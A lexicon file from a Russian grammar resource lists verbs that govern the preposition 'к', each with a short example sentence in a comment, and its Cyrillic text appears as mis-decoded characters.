rus_verbs:ะฟะพะฑะตะถะฐัั{}, // Cะตัะณะตะน ะฟะพะฑะตะถะฐะป ะบ ะดะฒะตัะธ. (ะฟะพะฑะตะถะฐัั ะบ)
rus_verbs:ะพัะฑัะพัะธัั{}, // ัะธะปัะฝัะน ัะดะฐั ะพัะฑัะพัะธะป ะตะณะพ ะบ ััะตะฝะต. (ะพัะฑัะพัะธัั ะบ)
rus_verbs:ะะซะะฃะะะขะฌ{}, // ะพะฝะธ ะฒัะฝัะดะธะปะธ ะผะตะฝั ะบ ัะพัััะดะฝะธัะตััะฒั (ะะซะะฃะะะขะฌ ะ)
rus_verbs:ะฟะพะดััะฝััั{}, // ะพะฝ ะฟะพะดััะฝัะป ะบ ัะตะฑะต ัััะป ะธ ัะตะป ะฝะฐ ะฝะตะณะพ (ะฟะพะดััะฝััั ะบ)
rus_verbs:ัะพะนัะธ{}, // ะฟะพ ัะทะบะพะน ััะพะฟะธะฝะบะต ะฟััะฝะธะบะธ ัะพัะปะธ ะบ ัะตะบะต. (ัะพะนัะธ ะบ)
rus_verbs:ัะฒะปััััั{}, // ะฟะพ ะฝะพัะฐะผ ะบ ะฝะตะผั ัะฒะปัะปะธัั ะฟัะธะทัะฐะบะธ. (ัะฒะปััััั ะบ)
rus_verbs:ะะะะขะฌ{}, // ะปะตะดัะฝะพะน ะฒะตัะตั ะณะฝะฐะป ะธั
ะบ ัะณั. (ะะะะขะฌ ะ)
rus_verbs:ะะซะะะกะขะ{}, // ะพะฝะฐ ะฒัะฒะตะปะฐ ะฝะฐั ัะพัะฝะพ ะบ ะผะตััั. (ะะซะะะกะขะ ะ)
rus_verbs:ะฒัะตั
ะฐัั{}, // ะฟะพััะธ ััะฐะทั ะผั ะฒัะตั
ะฐะปะธ ะบ ัะตะบะต.
rus_verbs:ะฟะพะดะพะดะฒะธะณะฐัััั{}, // ะฟะพะดะพะดะฒะธะณะฐะนัั ะบ ะพะบะฝั
rus_verbs:ะฑัะพัะธัััั{}, // ะฑะพะปััะฐั ัะฐััั ะทะฐัะธัะฝะธะบะพะฒ ััะตะฝ ะฑัะพัะธะปะฐัั ะบ ะฒะพัะพัะฐะผ.
rus_verbs:ะฟัะตะดััะฐะฒะธัั{}, // ะะณะพ ะฟัะตะดััะฐะฒะธะปะธ ะบ ะพัะดะตะฝั.
rus_verbs:ะดะฒะธะณะฐัััั{}, // ะผะตะถะดั ัะตะผ ััะดะธัะต ะฝะตัะพัะพะฟะปะธะฒะพ ะดะฒะธะณะฐะปะพัั ะบ ะฑะตัะตะณั.
rus_verbs:ะฒััะบะพัะธัั{}, // ัะตะผ ะฒัะตะผะตะฝะตะผ ะพะฝะธ ะฒััะบะพัะธะปะธ ะบ ัะตะบะต.
rus_verbs:ะฒัะนัะธ{}, // ัะตะผ ะฒัะตะผะตะฝะตะผ ะพะฝะธ ะฒััะปะธ ะบ ะปะตััะฝะธัะต.
rus_verbs:ะฟะพััะฝััั{}, // ะะฐะปััะธะบ ัั
ะฒะฐัะธะป ะฒะตััะฒะบั ะธ ะฟะพััะฝัะป ะตั ะบ ัะตะฑะต.
rus_verbs:ะฟัะธะปะพะถะธัั{}, // ะฟัะธะปะพะถะธัั ะบ ะดะตัะฐะปะธ ะฟะพะฒััะตะฝะฝะพะต ััะธะปะธะต
rus_verbs:ะฟัะพะนัะธ{}, // ะฟัะพะนัะธ ะบ ััะพะนะบะต ัะตะณะธัััะฐัะธะธ (ััะพะนะบะฐ ัะตะณะธัััะฐัะธะธ - ะฟัะพะฒะตัะธัั ะฟัะพะฒะตัะบั)
rus_verbs:ะพัะฝะตััะธัั{}, // ะพัะฝะตััะธัั ะบ ะถะธะฒะพัะฝัะผ ั ัะพััััะฒะธะตะผ
rus_verbs:ะฟัะธะฒัะทะฐัั{}, // ะฟัะธะฒัะทะฐัั ะทะฐ ะปะฐะฟั ะฒะตัะตะฒะบะพะน ะบ ะบะพะปััะบั, ะฒะพัะบะฝััะพะผั ะฒ ะทะตะผะปั
rus_verbs:ะฟััะณะฐัั{}, // ะฟััะณะฐัั ะบ ั
ะพะทัะธะฝั ะฝะฐ ััะพะป
rus_verbs:ะฟัะธะณะปะฐัะฐัั{}, // ะฟัะธะณะปะฐัะฐัั ะบ ะดะพะบัะพัั
rus_verbs:ัะฒะฐัััั{}, // ะงัะถะธะต ะปัะดะธ ัะฒัััั ะบ ะฒะปะฐััะธ
rus_verbs:ะฟะพะฝะตััะธัั{}, // ะฟะพะฝะตััะธัั ะบ ะพะฑััะฒั
rus_verbs:ะฟะธัะฐัั{}, // ะฟะธัะฐัั ะฟัะธะฒัะทะฐะฝะฝะพััั ะบ ะฐะปะบะพะณะพะปั
rus_verbs:ะทะฐะตั
ะฐัั{}, // ะะพะปั ะทะฐะตั
ะฐะป ะบ ะะปะต
rus_verbs:ะฟะตัะตะตั
ะฐัั{}, // ะฟะตัะตะตั
ะฐัั ะบ ัะพะดะธัะตะปัะผ
rus_verbs:ะฟะพะปะทัะธ{}, // ะฟะพะปะทัะธ ะบ ะดะพัะพะณะต
rus_verbs:ัะฒะพะดะธัััั{}, // ัะฒะพะดะธัััั ะบ ัะปะตะผะตะฝัะฐัะฝะพะผั ะดะตะนััะฒะธั
rus_verbs:ะดะพะฑะฐะฒะปััั{}, // ะดะพะฑะฐะฒะปััั ะบ ะพะฑัะตะน ััะผะผะต
rus_verbs:ะฟะพะดะฑัะพัะธัั{}, // ะฟะพะดะฑัะพัะธัั ะบ ะฟะพัะพะปะบั
rus_verbs:ะฟัะธะทัะฒะฐัั{}, // ะฟัะธะทัะฒะฐัั ะบ ัะฟะพะบะพะนััะฒะธั
rus_verbs:ะฟัะพะฑะธัะฐัััั{}, // ะฟัะพะฑะธัะฐัััั ะบ ะฟะฐััะธะทะฐะฝะฐะผ
rus_verbs:ะพัะฒะตะทัะธ{}, // ะพัะฒะตะทัะธ ะบ ัะพะดะธัะตะปัะผ
rus_verbs:ะฟัะธะผะตะฝััััั{}, // ะฟัะธะผะตะฝััััั ะบ ััะฐะฒะฝะตะฝะธั
rus_verbs:ัั
ะพะดะธัััั{}, // ัั
ะพะดะธัััั ะบ ัะพัะฝะพะผั ัะตัะตะฝะธั
rus_verbs:ะดะพะฟััะบะฐัั{}, // ะดะพะฟััะบะฐัั ะบ ัะดะฐัะต ะทะฐัะตัะฐ
rus_verbs:ัะฒะตััะธ{}, // ัะฒะตััะธ ะบ ะฝัะปั
rus_verbs:ะฟัะธะดะฒะธะฝััั{}, // ะฟัะธะดะฒะธะฝััั ะบ ะผะฐะปััะธะบั
rus_verbs:ะฟะพะดะณะพัะพะฒะธัั{}, // ะฟะพะดะณะพัะพะฒะธัั ะบ ะฟะตัะฐัะธ
rus_verbs:ะฟะพะดะพะฑัะฐัััั{}, // ะฟะพะดะพะฑัะฐัััั ะบ ะพะปะตะฝั
rus_verbs:ะทะฐัะพัะพะฟะธัััั{}, // ะทะฐัะพัะพะฟะธัััั ะบ ะฒัั
ะพะดั
rus_verbs:ะฟัะธััะฐัั{}, // ะฟัะธััะฐัั ะบ ะฑะตัะตะณั
rus_verbs:ะฟะพะผะฐะฝะธัั{}, // ะฟะพะผะฐะฝะธัั ะบ ัะตะฑะต
rus_verbs:ะฟัะธะฟะฐััั{}, // ะฟัะธะฟะฐััั ะบ ะฐะปัะฐัั
rus_verbs:ะฟัะธัะฐัะธัั{}, // ะฟัะธัะฐัะธัั ะบ ัะตะฑะต ะดะพะผะพะน
rus_verbs:ะฟัะธะถะธะผะฐัั{}, // ะฟัะธะถะธะผะฐัั ะบ ะณััะดะธ
rus_verbs:ะฟะพะดัะตััั{}, // ะฟะพะดัะตััั ะบ ัะธะผะฟะฐัะธัะฝะพะน ะดะตะฒะพัะบะต
rus_verbs:ะฟัะธะดะฒะธะฝััััั{}, // ะฟัะธะดะฒะธะฝััััั ะบ ะพะบะฝั
rus_verbs:ะพัะฟััะบะฐัั{}, // ะพัะฟััะบะฐัั ะบ ะดััะณั
rus_verbs:ะฟัะธะณะฝััััั{}, // ะฟัะธะณะฝััััั ะบ ะทะตะผะปะต
rus_verbs:ะฟัะธัััะพะธัััั{}, // ะฟัะธัััะพะธัััั ะบ ะบะพะปะพะฝะฝะต
rus_verbs:ัะณัะตััะธ{}, // ัะณัะตััะธ ะบ ัะตะฑะต
rus_verbs:ัะดัะฐัั{}, // ัะดัะฐัั ะบ ััะณะฐะฝะฐะผ
rus_verbs:ะฟัะธะฑะฐะฒะธัััั{}, // ะฟัะธะฑะฐะฒะธัััั ะบ ะพะฑัะตะน ััะผะผะต
rus_verbs:ะฟัะธัะผะพััะตัััั{}, // ะฟัะธัะผะพััะตัััั ะบ ะฟะพะบัะฟะบะต
rus_verbs:ะฟะพะดะบะฐัะธัั{}, // ะฟะพะดะบะฐัะธัั ะบ ัััะผั
rus_verbs:ะบะปะพะฝะธัั{}, // ะบะปะพะฝะธัั ะบะพ ัะฝั
rus_verbs:ะฟัะพัะปะตะดะพะฒะฐัั{}, // ะฟัะพัะปะตะดะพะฒะฐัั ะบ ะฒัั
ะพะดั
rus_verbs:ะฟะพะดะพะดะฒะธะฝััั{}, // ะฟะพะดะพะดะฒะธะฝััั ะบ ัะตะฑะต
rus_verbs:ะฟัะธะผะตะฝััั{}, // ะฟัะธะผะตะฝััั ะบ ัะพัััะดะฝะธะบะฐะผ
rus_verbs:ะฟัะธะปัะฝััั{}, // ะฟัะธะปัะฝััั ะบ ัะบัะฐะฝะฐะผ
rus_verbs:ะฟะพะดะฒะธะฝััั{}, // ะฟะพะดะฒะธะฝััั ะบ ัะตะฑะต
rus_verbs:ะฟัะธะผัะฐัััั{}, // ะฟัะธะผัะฐัััั ะบ ะฟะฐะฟะต
rus_verbs:ะฟะพะดะบัะฐััััั{}, // ะฟะพะดะบัะฐััััั ะบ ะถะตััะฒะต
rus_verbs:ะฟัะธะฒัะทะฐัััั{}, // ะฟัะธะฒัะทะฐัััั ะบ ัะพะฑะฐะบะต
rus_verbs:ะทะฐะฑะธัะฐัั{}, // ะทะฐะฑะธัะฐัั ะบ ัะตะฑะต
rus_verbs:ะฟัะพัะฒะฐัััั{}, // ะฟัะพัะฒะฐัััั ะบ ะบะฐััะต
rus_verbs:ะฟัะธะบะฐัะฐัััั{}, // ะฟัะธะบะฐัะฐัััั ะบ ะบะพะถะต
rus_verbs:ัะฝะพัะธัั{}, // ัะฝะพัะธัั ะบ ัะตะฑะต
rus_verbs:ะฟะพะดััะฝััััั{}, // ะฟะพะดััะฝััััั ะบ ะผะตััั
rus_verbs:ะฟัะธะฒะพะทะธัั{}, // ะฟัะธะฒะพะทะธัั ะบ ะฒะตัะตัะธะฝะฐัั
rus_verbs:ะฟะพะดะฟะพะปะทัะธ{}, // ะฟะพะดะฟะพะปะทัะธ ะบ ะทะฐะนัั
rus_verbs:ะฟัะธะฑะปะธะทะธัั{}, // ะฟัะธะฑะปะธะทะธัั ะบ ะณะปะฐะทะฐะผ
rus_verbs:ะฟัะธะผะตะฝะธัั{}, // ะฟัะธะผะตะฝะธัั ะบ ััะฐะฒะฝะตะฝะธั ะฟัะพััะพะต ะฟัะตะพะฑัะฐะทะพะฒะฐะฝะธะต
rus_verbs:ะฟัะธะณะปัะดะตัััั{}, // ะฟัะธะณะปัะดะตัััั ะบ ะธะทะพะฑัะฐะถะตะฝะธั
rus_verbs:ะฟัะธะปะพะถะธัััั{}, // ะฟัะธะปะพะถะธัััั ะบ ัััะบะต
rus_verbs:ะฟัะธััะฐะฒะฐัั{}, // ะฟัะธััะฐะฒะฐัั ะบ ะดะตะฒัะพะฝะบะฐะผ
rus_verbs:ะทะฐะฟัะตัะฐัััั{}, // ะทะฐะฟัะตัะฐัััั ะบ ะฟะพะบะฐะทั
rus_verbs:ะฟัะธะฑะตะณะฐัั{}, // ะฟัะธะฑะตะณะฐัั ะบ ะฝะฐัะธะปะธั
rus_verbs:ะฟะพะฑัะดะธัั{}, // ะฟะพะฑัะดะธัั ะบ ะดะตะนััะฒะธัะผ
rus_verbs:ะฟัะธััะณะธะฒะฐัั{}, // ะฟัะธััะณะธะฒะฐัั ะบ ัะตะฑะต
rus_verbs:ะฟัะธัััะพะธัั{}, // ะฟัะธัััะพะธัั ะบ ะฟะพะปะตะทะฝะพะผั ะดะตะปั
rus_verbs:ะฟัะธะณะพะฒะพัะธัั{}, // ะฟัะธะณะพะฒะพัะธัั ะบ ัะผะตััะธ
rus_verbs:ัะบะปะพะฝััััั{}, // ัะบะปะพะฝััััั ะบ ะฟัะตะบัะฐัะตะฝะธั ัะฐะทัะฐะฑะพัะบะธ
rus_verbs:ะฟะพะดัะตะทะถะฐัั{}, // ะฟะพะดัะตะทะถะฐัั ะบ ะฒะพะบะทะฐะปั
rus_verbs:ะฟัะธะฒะฐะปะธัััั{}, // ะฟัะธะฒะฐะปะธัััั ะบ ะทะฐะฑะพัั
rus_verbs:ะฝะฐะบะปะพะฝััััั{}, // ะฝะฐะบะปะพะฝััััั ะบ ัะตะฝะบั
rus_verbs:ะฟะพะดะพัะฟะตัั{}, // ะฟะพะดะพัะฟะตัั ะบ ะพะฑะตะดั
rus_verbs:ะฟัะธะปะธะฟะฝััั{}, // ะฟัะธะปะธะฟะฝััั ะบ ะพะบะฝั
rus_verbs:ะฟัะธะฒะพะปะพัั{}, // ะฟัะธะฒะพะปะพัั ะบ ัะตะฑะต
rus_verbs:ััััะตะผะปััััั{}, // ััััะตะผะปััััั ะบ ะฒะตััะธะฝะต
rus_verbs:ะพัะบะฐัะธัััั{}, // ะพัะบะฐัะธัััั ะบ ะธัั
ะพะดะฝัะผ ะฟะพะทะธัะธัะผ
rus_verbs:ะฟะพะฑัะถะดะฐัั{}, // ะฟะพะฑัะถะดะฐัั ะบ ะดะตะนััะฒะธัะผ
rus_verbs:ะฟัะธัะบะฐะบะฐัั{}, // ะฟัะธัะบะฐะบะฐัั ะบ ะบะพัะผะตะถะบะต
rus_verbs:ะฟัะธัะผะฐััะธะฒะฐัััั{}, // ะฟัะธัะผะฐััะธะฒะฐัััั ะบ ะฝะพะฒะธัะบั
rus_verbs:ะฟัะธะถะธะผะฐัััั{}, // ะฟัะธะถะธะผะฐัััั ะบ ะฑะพััั
rus_verbs:ะถะฐัััั{}, // ะถะฐัััั ะบ ะพะณะฝั
rus_verbs:ะฟะตัะตะดะฒะธะฝััั{}, // ะฟะตัะตะดะฒะธะฝััั ะบ ะพะบะฝั
rus_verbs:ะดะพะฟััะบะฐัััั{}, // ะดะพะฟััะบะฐัััั ะบ ัะบะทะฐะผะตะฝะฐะผ
rus_verbs:ะฟัะธะบัะตะฟะธัั{}, // ะฟัะธะบัะตะฟะธัั ะบ ะบะพัะฟััั
rus_verbs:ะพัะฟัะฐะฒะปััั{}, // ะพัะฟัะฐะฒะปััั ะบ ัะฟะตัะธะฐะปะธััะฐะผ
rus_verbs:ะฟะตัะตะฑะตะถะฐัั{}, // ะฟะตัะตะฑะตะถะฐัั ะบ ะฒัะฐะณะฐะผ
rus_verbs:ะฟัะธััะพะฝััััั{}, // ะฟัะธััะพะฝััััั ะบ ัะตะปะธะบะฒะธะธ
rus_verbs:ะทะฐัะฟะตัะธัั{}, // ะทะฐัะฟะตัะธัั ะบ ัะตะผัะต
rus_verbs:ัะตะฒะฝะพะฒะฐัั{}, // ัะตะฒะฝะพะฒะฐัั ะบ ัะพะฟะตัะฝะธัะต
rus_verbs:ะฟะพะดัััะฟะธัั{}, // ะฟะพะดัััะฟะธัั ะบ ะณะพัะปั
rus_verbs:ัะฒะพะดะธัั{}, // ัะฒะพะดะธัั ะบ ะฒะตัะตัะธะฝะฐัั
rus_verbs:ะฟะพะฑัะพัะฐัั{}, // ะฟะพะฑัะพัะฐัั ะบ ะฝะพะณะฐะผ
rus_verbs:ะฟะพะดะฐะฒะฐัััั{}, // ะฟะพะดะฐะฒะฐัััั ะบ ัะถะธะฝั
rus_verbs:ะฟัะธะฟะธััะฒะฐัั{}, // ะฟัะธะฟะธััะฒะฐัั ะบ ะดะพััะธะถะตะฝะธัะผ
rus_verbs:ะพัะฝะพัะธัั{}, // ะพัะฝะพัะธัั ะบ ัะฐััะตะฝะธัะผ
rus_verbs:ะฟัะธะฝัั
ะฐัััั{}, // ะฟัะธะฝัั
ะฐัััั ะบ ะฐัะพะผะฐัะฐะผ
rus_verbs:ะฟะพะดัะฐัะธัั{}, // ะฟะพะดัะฐัะธัั ะบ ัะตะฑะต
rus_verbs:ะฟัะธัะปะพะฝะธัั{}, // ะฟัะธัะปะพะฝะธัั ะบ ััะตะฝะต
rus_verbs:ะฟะพะดะฟะปััั{}, // ะฟะพะดะฟะปััั ะบ ะฑัั
rus_verbs:ะพะฟะฐะทะดัะฒะฐัั{}, // ะพะฟะฐะทะดัะฒะฐัั ะบ ััะธะปะธััั
rus_verbs:ะฟัะธะผะบะฝััั{}, // ะฟัะธะผะบะฝััั ะบ ะดะตะพะผะฝัััะฐะฝัะฐะผ
rus_verbs:ััะตะบะฐัััั{}, // ััะตะบะฐัััั ะบ ััะตะฝะฐะผ ััััะผั
rus_verbs:ะฟะพะดะณะพัะพะฒะธัััั{}, // ะฟะพะดะณะพัะพะฒะธัััั ะบ ะผะฐัะฐัะพะฝั
rus_verbs:ะฟัะธะณะปัะดัะฒะฐัััั{}, // ะฟัะธะณะปัะดัะฒะฐัััั ะบ ะฝะพะฒะธัะบั
rus_verbs:ะฟัะธัะพะตะดะธะฝััััั{}, // ะฟัะธัะพะตะดะธะฝััััั ะบ ัะพะพะฑัะตััะฒั
rus_verbs:ะบะปะพะฝะธัััั{}, // ะบะปะพะฝะธัััั ะบะพ ัะฝั
rus_verbs:ะฟัะธะฒัะบะฐัั{}, // ะฟัะธะฒัะบะฐัั ะบ ั
ะพัะพัะตะผั
rus_verbs:ะฟัะธะฝัะดะธัั{}, // ะฟัะธะฝัะดะธัั ะบ ะผะธัั
rus_verbs:ัะฟะปััั{}, // ัะฟะปััั ะบ ะดะฐะปะตะบะพะผั ะฑะตัะตะณั
rus_verbs:ััะฐัะธัั{}, // ััะฐัะธัั ะบ ะดะตัะตะฝััะฐะผ
rus_verbs:ะฟัะธะฟะปััั{}, // ะฟัะธะฟะปััั ะบ ัะธะฝะธัั
rus_verbs:ะฟะพะดะฑะตะณะฐัั{}, // ะฟะพะดะฑะตะณะฐัั ะบ ั
ะพะทัะธะฝั
rus_verbs:ะปะธัะฐัััั{}, // ะปะธัะฐัััั ััะตะดััะฒ ะบ ัััะตััะฒะพะฒะฐะฝะธั
rus_verbs:ะฟัะธัััะฟะฐัั{}, // ะฟัะธัััะฟะฐัั ะบ ะพะฟะตัะฐัะธะธ
rus_verbs:ะฟัะพะฑัะถะดะฐัั{}, // ะฟัะพะฑัะถะดะฐัั ะปะตะบัะธะตะน ะธะฝัะตัะตั ะบ ะผะฐัะตะผะฐัะธะบะต
rus_verbs:ะฟะพะดะบะปััะธัั{}, // ะฟะพะดะบะปััะธัั ะบ ัััะฑะต
rus_verbs:ะฟะพะดะบะปััะธัััั{}, // ะฟะพะดะบะปััะธัััั ะบ ัะตัะธ
rus_verbs:ะฟัะธะปะธัั{}, // ะฟัะธะปะธัั ะบ ะปะธัั
rus_verbs:ััััะฐัััั{}, // ััััะฐัััั ะบ ัะพัะตะดัะผ
rus_verbs:ะฟัะธััะตะณะฝััั{}, // ะฟัะธััะตะณะฝััั ะบ ะบัะตัะปั
rus_verbs:ะฟัะธัะพะตะดะธะฝะธัั{}, // ะฟัะธัะพะตะดะธะฝะธัั ะบ ัะตัะธ
rus_verbs:ะพัะฑะตะถะฐัั{}, // ะพัะฑะตะถะฐัั ะบ ะฟัะพัะธะฒะพะฟะพะปะพะถะฝะพะน ััะตะฝะต
rus_verbs:ะฟะพะดะฒะตะทัะธ{}, // ะฟะพะดะฒะตะทัะธ ะบ ะฝะฐะฑะตัะตะถะฝะพะน
rus_verbs:ะฟัะธะฑะตะณะฝััั{}, // ะฟัะธะฑะตะณะฝััั ะบ ั
ะธััะพััะธ
rus_verbs:ะฟัะธััะธัั{}, // ะฟัะธััะธัั ะบ ััะฐะปะตัั
rus_verbs:ะฟะพะดัะฐะปะบะธะฒะฐัั{}, // ะฟะพะดัะฐะปะบะธะฒะฐัั ะบ ะฒัั
ะพะดั
rus_verbs:ะฟัะพััะฒะฐัััั{}, // ะฟัะพััะฒะฐัััั ะบ ะฒัั
ะพะดั
rus_verbs:ัะฒะพะทะธัั{}, // ัะฒะพะทะธัั ะบ ะฒะตัะตัะธะฝะฐัั
rus_verbs:ะทะฐัะตะผะตะฝะธัั{}, // ะทะฐัะตะผะตะฝะธัั ะบ ะฒัั
ะพะดั
rus_verbs:ะบัะตะฟะธัััั{}, // ะบัะตะฟะธัััั ะบ ะฟะพัะพะปะบั
rus_verbs:ะฟัะธะฑัะฐัั{}, // ะฟัะธะฑัะฐัั ะบ ััะบะฐะผ
rus_verbs:ะฟัะธัััะฐััะธัััั{}, // ะฟัะธัััะฐััะธัััั ะบ ะฝะฐัะบะพัะธะบะฐะผ
rus_verbs:ะฟะพัะฟะตัั{}, // ะฟะพัะฟะตัั ะบ ะพะฑะตะดั
rus_verbs:ะฟัะธะฒัะทัะฒะฐัั{}, // ะฟัะธะฒัะทัะฒะฐัั ะบ ะดะตัะตะฒั
rus_verbs:ะฟัะธะปะฐะณะฐัั{}, // ะฟัะธะปะฐะณะฐัั ะบ ะดะพะบัะผะตะฝัะฐะผ
rus_verbs:ะฟะตัะตะฟัะฐะฒะธัั{}, // ะฟะตัะตะฟัะฐะฒะธัั ะบ ะดะตะดััะบะต
rus_verbs:ะฟะพะดะพะณะฝะฐัั{}, // ะฟะพะดะพะณะฝะฐัั ะบ ะฒะพัะพัะฐะผ
rus_verbs:ััะณะพัะตัั{}, // ััะณะพัะตัั ะบ ัะพัะธะฐะปะธะทะผั
rus_verbs:ะฟะพะดะฑะธัะฐัััั{}, // ะฟะพะดะฑะธัะฐัััั ะบ ะพะปะตะฝั
rus_verbs:ะฟะพะดัััะฟะฐัั{}, // ะฟะพะดัััะฟะฐัั ะบ ะณะพัะปั
rus_verbs:ะฟัะธะผัะบะฐัั{}, // ะฟัะธะผัะบะฐัั ะบ ะฟะตัะฒะพะผั ัะปะตะผะตะฝัั
rus_verbs:ะฟัะธะปะฐะดะธัั{}, // ะฟัะธะปะฐะดะธัั ะบ ะฒะตะปะพัะธะฟะตะดั
rus_verbs:ะฟะพะดะฑัะฐััะฒะฐัั{}, // ะฟะพะดะฑัะฐััะฒะฐัั ะบ ะฟะพัะพะปะบั
rus_verbs:ะฟะตัะตะฒะพะทะธัั{}, // ะฟะตัะตะฒะพะทะธัั ะบ ะฝะพะฒะพะผั ะผะตััั ะดะธัะปะพะบะฐัะธะธ
rus_verbs:ััะฐะถะธะฒะฐัััั{}, // ััะฐะถะธะฒะฐัััั ะบ ะพะบะฝั
rus_verbs:ะฟัะธะฑะปะธะถะฐัั{}, // ะฟัะธะฑะปะธะถะฐัั ะบ ะณะปะฐะทะฐะผ
rus_verbs:ะฟะพะฟัะพัะธัััั{}, // ะฟะพะฟัะพัะธัััั ะบ ะฑะฐะฑััะบะต
rus_verbs:ะฟัะธะฑะธัั{}, // ะฟัะธะฑะธัั ะบ ะดะพัะบะต
rus_verbs:ะฟะตัะตัะฐัะธัั{}, // ะฟะตัะตัะฐัะธัั ะบ ัะตะฑะต
rus_verbs:ะฟัะธัะตะฟะธัั{}, // ะฟัะธัะตะฟะธัั ะบ ะฟะฐัะพะฒะพะทั
rus_verbs:ะฟัะธะบะปะฐะดัะฒะฐัั{}, // ะฟัะธะบะปะฐะดัะฒะฐัั ะบ ัะฐะฝะต
rus_verbs:ัััะฐัะตัั{}, // ัััะฐัะตัั ะบ ะฝะฐัะฐะปั ะฒะพะนะฝั
rus_verbs:ะฟัะธัะฐะปะธัั{}, // ะฟัะธัะฐะปะธัั ะบ ะฟัะธััะฐะฝะธ
rus_verbs:ะฟัะธัะฟะพัะพะฑะธัััั{}, // ะฟัะธัะฟะพัะพะฑะธัััั ะบ ะพะฟะพะทะดะฐะฝะธัะผ
rus_verbs:ะฟัะธะฝัะถะดะฐัั{}, // ะฟัะธะฝัะถะดะฐัั ะบ ะผะธัั
rus_verbs:ัะพะฒะฐัััั{}, // ัะพะฒะฐัััั ะบ ะดะธัะตะบัะพัั
rus_verbs:ะฟัะพัะพะปะบะฐัััั{}, // ะฟัะพัะพะปะบะฐัััั ะบ ะฟัะธะปะฐะฒะบั
rus_verbs:ะฟัะธะบะพะฒะฐัั{}, // ะฟัะธะบะพะฒะฐัั ะบ ะฑะฐัะฐัะตะต
rus_verbs:ะฟะพะดะบัะฐะดัะฒะฐัััั{}, // ะฟะพะดะบัะฐะดัะฒะฐัััั ะบ ัััะปะธะบั
rus_verbs:ะฟะพะดัะฐะดะธัั{}, // ะฟะพะดัะฐะดะธัั ะบ ะฐัะตััะพะฝัั
rus_verbs:ะฟัะธะบะฐัะธัั{}, // ะฟัะธะบะฐัะธัั ะบ ัะธะฝะธัั
rus_verbs:ะฟัะพัะฐัะธัั{}, // ะฟัะพัะฐัะธัั ะบ ะฒะปะฐะดัะบะต
rus_verbs:ััะถะฐัััั{}, // ััะถะฐัััั ะบ ะพัะฝะพะฒะฐะฝะธั
rus_verbs:ะฟัะธัะพะฒะพะบัะฟะธัั{}, // ะฟัะธัะพะฒะพะบัะฟะธัั ะบ ะฟะพะถะตะปะฐะฝะธัะผ
rus_verbs:ะฟัะธะณะฒะพะทะดะธัั{}, // ะฟัะธะณะฒะพะทะดะธัั ะบ ะดะพัะบะต
rus_verbs:ะพัััะปะฐัั{}, // ะพัััะปะฐัั ะบ ะฟะตัะฒะพะธััะพัะฝะธะบั
rus_verbs:ะธะทะณะพัะพะฒะธัััั{}, // ะธะทะณะพัะพะฒะธัััั ะบ ะฟััะถะบั
rus_verbs:ะฟัะธะปะฐะณะฐัััั{}, // ะฟัะธะปะฐะณะฐัััั ะบ ะฟะพะบัะฟะบะต
rus_verbs:ะฟัะธัะตะฟะธัััั{}, // ะฟัะธัะตะฟะธัััั ะบ ะฒะฐะณะพะฝั
rus_verbs:ะฟัะธะผะตัะธะฒะฐัััั{}, // ะฟัะธะผะตัะธะฒะฐัััั ะบ ะฒะธะฝั
rus_verbs:ะฟะตัะตัะตะปะธัั{}, // ะฟะตัะตัะตะปะธัั ะบ ััะฐััะตะบัััะฝะธะบะฐะผ
rus_verbs:ะทะฐััััะธัั{}, // ะทะฐััััะธัั ะบ ะฒัั
ะพะดะต
rus_verbs:ะฟัะธัะฟะพัะพะฑะธัั{}, // ะฟัะธัะฟะพัะพะฑะธัั ะบ ะพะฑะพะณัะตะฒั
rus_verbs:ะฟัะธะผะตัะธัััั{}, // ะฟัะธะผะตัะธัััั ะบ ะฐะฟะฟะฐัะฐัั
rus_verbs:ะฟัะธะฑะฐะฒะปััััั{}, // ะฟัะธะฑะฐะฒะปััััั ะบ ะฟะตะฝัะธะธ
rus_verbs:ะฟะพะดะบะฐัะธัััั{}, // ะฟะพะดะบะฐัะธัััั ะบ ะฒะพัะพัะฐะผ
rus_verbs:ัััะณะธะฒะฐัั{}, // ัััะณะธะฒะฐัั ะบ ะณัะฐะฝะธัะต
rus_verbs:ะดะพะฟะธัะฐัั{}, // ะดะพะฟะธัะฐัั ะบ ัะพะผะฐะฝั
rus_verbs:ะฟะพะดะฟัััะธัั{}, // ะฟะพะดะฟัััะธัั ะบ ะบะพัะพะฒะต
rus_verbs:ัะบะปะพะฝััั{}, // ัะบะปะพะฝััั ะบ ัะพัััะดะฝะธัะตััะฒั
rus_verbs:ะฟัะธะฟะตัะฐัะฐัั{}, // ะฟัะธะฟะตัะฐัะฐัั ะบ ััะตะฝะต
rus_verbs:ะพั
ะปะฐะดะตัั{}, // ะพั
ะปะฐะดะตัั ะบ ะผัะทัะบะต
rus_verbs:ะฟัะธัะธัั{}, // ะฟัะธัะธัั ะบ ัะธะฝะตะปะธ
rus_verbs:ะฟัะธะฝัั
ะธะฒะฐัััั{}, // ะฟัะธะฝัั
ะธะฒะฐัััั ะบ ะฒะตััั
rus_verbs:ะฟะพะดััะปะธัั{}, // ะฟะพะดััะปะธัั ะบ ะฑะฐัััะฝะต
rus_verbs:ะฝะฐะฒะตะดะฐัััั{}, // ะฝะฐะฒะตะดะฐัััั ะบ ะพัะฐะบัะปั
rus_verbs:ะบะปะตะธัััั{}, // ะบะปะตะธัััั ะบ ะบะพะฝะฒะตััั
rus_verbs:ะฟะตัะตััะฝััั{}, // ะฟะตัะตััะฝััั ะบ ัะตะฑะต
rus_verbs:ะฟะตัะตะผะตัะฝััััั{}, // ะฟะตัะตะผะตัะฝััััั ะบ ะบะพะฝะบััะตะฝัะฐะผ
rus_verbs:ะปะธะฟะฝััั{}, // ะปะธะฟะฝััั ะบ ัะพะบัััะฝะธัะฐะผ
rus_verbs:ะฟะพะบะพะฒััััั{}, // ะฟะพะบะพะฒััััั ะบ ะฒัั
ะพะดั
rus_verbs:ะฟะพะดะฟััะบะฐัั{}, // ะฟะพะดะฟััะบะฐัั ะบ ะฟัะปััั ัะฟัะฐะฒะปะตะฝะธั
rus_verbs:ะฟัะธัะพัะฐัััั{}, // ะฟัะธัะพัะฐัััั ะบ ะธััะพัะฝะธะบั
rus_verbs:ะฟัะธะบะปะตะธัั{}, // ะฟัะธะบะปะตะธัั ะบ ััะตะบะปั
rus_verbs:ะฟะพะดััะณะธะฒะฐัั{}, // ะฟะพะดััะณะธะฒะฐัั ะบ ัะตะฑะต
rus_verbs:ะฟะพะดะบะฐััะฒะฐัั{}, // ะฟะพะดะบะฐััะฒะฐัั ะบ ะดะฐะผะต
